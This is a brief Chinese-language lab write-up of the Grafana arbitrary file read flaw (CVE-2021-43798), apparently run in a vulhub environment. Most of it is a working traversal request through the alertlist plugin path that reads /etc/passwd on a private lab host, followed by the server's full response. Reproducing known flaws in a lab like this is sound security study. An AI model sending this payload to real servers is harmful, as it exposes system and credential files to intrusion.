vluhub Grafana 任意文件读取漏洞分析（CVE-2021-43798 ）

Grafana 是一款服务器监控系统，用于采集数据分析可视化界面

grafana:8.2.6存在文件目录遍历漏洞

 地址http://192.168.203.12:3000/

 抓包构造

 poc /public/plugins/alertlist/../../../../../../../../etc/passwd

GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.203.12:3000
Pragma: no-cache
Cache-Control: no-cache
accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
x-grafana-org-id: 1
Referer: http://192.168.203.12:3000/?orgId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: grafana_session=d8544f569bfa7cde4cb4c7d12f53406d
Connection: keep-alive

response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-Length: 1230
Content-Type: text/plain; charset=utf-8
Expires: -1
Last-Modified: Thu, 02 Dec 2021 14:48:51 GMT
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Fri, 02 Aug 2024 07:21:34 GMT

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

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